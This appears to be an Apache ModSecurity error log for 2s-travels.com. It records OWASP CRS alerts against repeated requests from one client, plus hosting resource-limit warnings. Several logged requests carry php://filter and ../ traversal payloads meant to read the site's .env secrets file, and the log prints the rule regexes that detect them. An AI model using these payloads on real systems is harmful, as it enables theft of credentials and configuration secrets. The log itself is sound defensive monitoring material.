[Fri Jul 17 08:55:12.008392 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.008400 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.008480 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.008520 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.008627 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCRF0UOO1RzB5_8t8QAAAA4"]
[Fri Jul 17 08:55:12.008719 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.008733 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFh1WDijTxd1xw5MPQAAAAc"]
[Fri Jul 17 08:55:12.008804 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFCBpfuYyhJ140vSfQAAAB4"]
[Fri Jul 17 08:55:12.008959 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmCRF0UOO1RzB5_8t8QAAAA4"]
[Fri Jul 17 08:55:12.155405 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ref=1Po2DPfM783OPfkVc5ap4dsP6qwfu5rDS1Raa8m77J2kXleRrxxWJb3ZZ7-yGYDuMtf0mh1r8rBJ_asgwac22nxMfdaZkKz7AdQ5vc3PFYPGsw2y2Fscp-XRAyz5olNW6kcTJbTY8pSOui5hwERhpp3hrzOwXQfMb2-YvHekEvhTiIQfMMrikSRm7CEzPV5fo89e0IeeYb9WjwqHAe8IGfxlfYX0QsFDuouyBwZ4jXwkC1mkOVZ1LUOgFHwJtMe_lXh1yyJMOZxG8ABvBW6eNFzG&debug=BT5NOAIHOXBZZC2RBSROJ7CS53GE7GBLBBUSSF6E73UADVEU..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.155476 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.155561 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&ref=1Po2DPfM783OPfkVc5ap4dsP6qwfu5rDS1Raa8m77J2kXleRrxxWJb3ZZ7-yGYDuMtf0mh1r8rBJ_asgwac22nxMfdaZkKz7AdQ5vc3PFYPGsw2y2Fscp-XRAyz5olNW6kcTJbTY8pSOui5hwERhpp3hrzOwXQfMb2-YvHekEvhTiIQfMMrikSRm7CEzPV5fo89e0IeeYb9WjwqHAe8IGfxlfYX0QsFDuouyBwZ4jXwkC1mkOVZ1LUOgFHwJtMe_lXh1yyJMOZxG8ABvBW6eNFzG&debug=BT5NOAIHOXBZZC2RBSROJ7CS53GE7GBLBBUSSF6E73UADVEUS5INO5VQAWAK4QMPEZQC6VOTFP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.155609 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&ref=1po2dpfm783opfkvc5ap4dsp6qwfu5rds1raa8m77j2kxlerrxxwjb3zz7-ygydumtf0mh1r8rbj_asgwac22nxmfdazkkz7adq5vc3pfypgsw2y2fscp-xrayz5olnw6kctjbty8psoui5hwerhpp3hrzowxqfmb2-yvhekevhtiiqfmmriksrm7cezpv5fo89e0ieeyb9wjwqhae8igfxlfyx0qsfduouybwz4jxwkc1mkovz1luogfhwjtme_lxh1yyjmozxg8abvbw6enfzg&debug=bt5noaihoxbzzc2rbsroj7cs53ge7gblbbussf6e73uadveus5ino5vqawak4qmpezqc6votfp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.155693 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.155738 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.156249 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.157782 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.157975 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.158497 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmOYpb_TFRze2EO3zXAAAAAE"]
[Fri Jul 17 08:55:12.163729 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:12.244020 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmBAi3pC6yjXGNq2AdgAAAAU"]
[Fri Jul 17 08:55:12.245167 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmBAi3pC6yjXGNq2AdgAAAAU"]
[Fri Jul 17 08:55:12.249826 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ref=3SCs1by4bcuLVM1ENHtNfbAgWRm_2t7yt8o4TzgmDsAWEsl760tpf_rDJ70PhwwXnWOHtAWCjIyW3uQCNmtr_Jq5qJu2LqjyBSTpN0Z-32EuzEhyU0BCEAYubdAhDylBdZzVm5H7zwhUZwVsdsiH8-2xxVlZ4Bv6d_OqINsVqXETzoPjz5nhNVz5k6iknpdSZD99dP6IxBxUTM7zZQ_N2efzk0--faKPyrFx8JzOxyJySY41DSKK8N-GLd9jY6dgUGmIYcp0cAcWFJPbMpO3yGdJ&sid=GW3JEUOZ7UJ3YJBQD57W7QJWFR2B2SMZTVLDSAWIWDWNA..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.249878 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.249951 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&ref=3SCs1by4bcuLVM1ENHtNfbAgWRm_2t7yt8o4TzgmDsAWEsl760tpf_rDJ70PhwwXnWOHtAWCjIyW3uQCNmtr_Jq5qJu2LqjyBSTpN0Z-32EuzEhyU0BCEAYubdAhDylBdZzVm5H7zwhUZwVsdsiH8-2xxVlZ4Bv6d_OqINsVqXETzoPjz5nhNVz5k6iknpdSZD99dP6IxBxUTM7zZQ_N2efzk0--faKPyrFx8JzOxyJySY41DSKK8N-GLd9jY6dgUGmIYcp0cAcWFJPbMpO3yGdJ&sid=GW3JEUOZ7UJ3YJBQD57W7QJWFR2B2SMZTVLDSAWIWDWNA3Q4XFBRQFNM22TZXX26ONWPM6MSU..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.249992 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&ref=3scs1by4bculvm1enhtnfbagwrm_2t7yt8o4tzgmdsawesl760tpf_rdj70phwwxnwohtawcjiyw3uqcnmtr_jq5qju2lqjybstpn0z-32euzehyu0bceayubdahdylbdzzvm5h7zwhuzwvsdsih8-2xxvlz4bv6d_oqinsvqxetzopjz5nhnvz5k6iknpdszd99dp6ixbxutm7zzq_n2efzk0--fakpyrfx8jzoxyjysy41dskk8n-gld9jy6dgugmiycp0cacwfjpbmpo3ygdj&sid=gw3jeuoz7uj3yjbqd57w7qjwfr2b2smztvldsawiwdwna3q4xfbrqfnm22tzxx26onwpm6msu..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.250022 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.250063 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.250415 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.251445 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
[Fri Jul 17 08:55:12.251593 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.251915 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sKgAAABQ"]
